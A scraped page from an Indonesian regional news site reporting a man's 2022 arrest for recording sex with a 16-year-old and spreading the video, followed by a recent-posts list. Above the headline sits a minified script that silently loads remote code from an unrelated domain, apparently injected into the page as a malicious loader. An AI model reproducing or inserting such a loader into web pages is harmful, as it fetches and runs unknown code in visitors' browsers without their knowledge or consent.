(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pria Asal Kapuas Sebar Video Mesum karena Tak Terima Mantan Punya Kekasih Baru


KANALKALIMANTAN.COM, MARTAPURA – Baru-baru ini seorang laki-laki warga jalan Jaya Raya Basarang, Kabupaten Kapuas, Provinsi Kalimantan Tengah, dibekuk Polsek Kertak Hanyar Kabupaten Banjar, Kalimantan Selatan, Senin (25/7/2022). Pria berinisial IW (30) ini ditengarai merekam video mesum dan menyebarkan ke media sosial (medsos).

Awalnya, IW merayu seorang anak perempuan berusia 16 tahun untuk berhubungan layaknya suami istri, dan kemudian merekamnya.

Saat sudah tidak lagi menjadi pacarnya, pelaku menyebarluaskan video tersebut ke media sosial. Motifnya karena pelaku sakit hati saat tahu korban mempunyai kekasih baru.

Dihimpun dari informasi dari Tim Resmob Macan Kalsel, korban dengan didampingi orangtuanya pun melaporkan kejadian tersebut ke Polsek Kertak Hanyar.

 

 

Polsek Kertak Hanyar amankan pria berinisial IW. Foto: polsek kertak hanyar

Baca juga  : Wujudkan Rumah Impian Layak Huni Tri Mulyanto, Tim Bedah Rumah TMMD ke- 114 Kodim 1022/Tnb Kerja Maksimal

Selain menanggung kerugian akibat malu videonya beredar luas, korban yang masih duduk di bangku kelas satu sekolah menengah itu pun juga berakhir dikeluarkan dari sekolahnya. Hal ini karena korban dituding telah mencemarkan nama baik sekolah.

Sementara itu, Unit Buser Polsek Kertak Hanyar bersama dengan Team Resmob Macan Kalsel langsung bergerak menyelidiki keberadaan pelaku.

Pihaknya pun berhasil mendapatkan pelaku di tempat persembunyiannya, yakni di Desa Pulau Sugara, Kecamatan Alalak, Kabupaten Batola. Saat diringkus pelaku tengah asyik duduk di sebuah jembatan.

Setelah dibawa ke Mapolsek Kertak Hanyar bersama barang bukti, pelaku akhirnya meringkuk di bui dengan ancaman hukuman paling lama 15 tahun atas tindak pidana persetubuhan anak di bawah umur sebagaimana dimaksud dalam Pasal 82 Undang – Undang RI Nomor 23 Tahun 2002 tentang Perlindungan Anak.

Pihak Kepolisan pun menghimbau agar para orang tua selalu tegas dan jeli mengawasi anak-anak dalam setiap pergaulan, dan dapat menjadi pembelajaran juga untuk masyarakat Banua untuk menjaga kelangsungan hidup anak kedepannya.(kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

9 menit ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

16 menit ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

38 menit ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

47 menit ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

60 menit ago

Sempat Sengat Pelajar Madrasah, Sarang Tawon Dalam Kelas Dievakuasi Damkar HSU

KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More

4 jam ago

This website uses cookies.